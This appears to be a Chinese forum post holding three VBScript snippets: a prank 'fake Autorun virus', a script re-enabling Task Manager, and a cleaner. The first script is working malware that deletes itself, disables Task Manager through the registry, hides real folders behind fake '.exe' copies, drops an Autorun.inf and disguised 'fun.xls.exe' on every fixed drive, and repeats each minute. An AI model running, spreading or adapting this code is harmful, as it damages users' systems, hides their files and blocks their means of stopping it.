9,506
社区成员
发帖
与我相关
我的任务
分享
On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set Cx=fso.GetSpecialFolder(0) fso.GetFile(WScript.ScriptFullName).Delete(True) Set ws=CreateObject("WScript.Shell") ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",1,"REG_DWORD" Do C=fso.GetParentFolderName(Cx) Set Fdrs=fso.GetFolder(C).SubFolders For Each Fdr In Fdrs If Not fso.GetExtensionName(Fdr.Name)="exe" Then fso.CreateFolder(C & Fdr.Name & ".exe") fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes Fdr.Attributes=6 End If Next Set Cx=Nothing Set Fdrs=Nothing Set drvs=fso.Drives For Each drv In drvs If drv.DriveType=2 Then Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe") fun.Attributes=6 fun.Copy(drv & "\fun.xls.exe") Set auto=fso.CreateTextFile(drv & "\Autorun.inf") auto.WriteLine("[Autorun]") auto.WriteLine("Open=fun.xls.exe") auto.Close Set auto=Nothing Set fun=Nothing If drv & "\" = C Then Else Set Fdrs=fso.GetFolder(drv & "\").SubFolders For Each Fdr In Fdrs If Not fso.GetExtensionName(Fdr.Name)="exe" Then Fdr.Name=Fdr.name & ".exe" End If Next End If End If Next WScript.Sleep 60*1000 Loop
Set ws=CreateObject("WScript.Shell") ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",0,"REG_DWORD" MsgBox "请用任务管理器结束所有wscript.exe进程!",64,"最聪明的猪"
On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set Cx=fso.GetSpecialFolder(0) C=fso.GetParentFolderName(Cx) Set Fdrs=fso.GetFolder(C).SubFolders For Each Fdr In Fdrs If fso.GetExtensionName(Fdr.Name)="exe" Then fso.GetFolder(C & Fdr.Name).Delete(True) End If Next Set drvs=fso.Drives For Each drv In drvs If drv.DriveType=2 Then fso.GetFile(drv & "\Autorun.inf").Delete(True) fso.GetFile(drv & "\fun.xls.exe").Delete(True) If drv & "\" = C Then Else Set Fdrs=fso.GetFolder(drv & "\").SubFolders For Each Fdr In Fdrs If fso.GetExtensionName(Fdr.Name)="exe" Then Fdr.Name=fso.GetBaseName(Fdr.Name) End If Next End If End If Next fso.GetFolder(C & "Program Files").Attributes=0 fso.GetFolder(C & "Documents and Settings").Attributes=0 fso.GetFolder(C & "WINDOWS").Attributes=0 MsgBox "冒牌Autorun病毒清除完毕!",64,"最聪明的猪"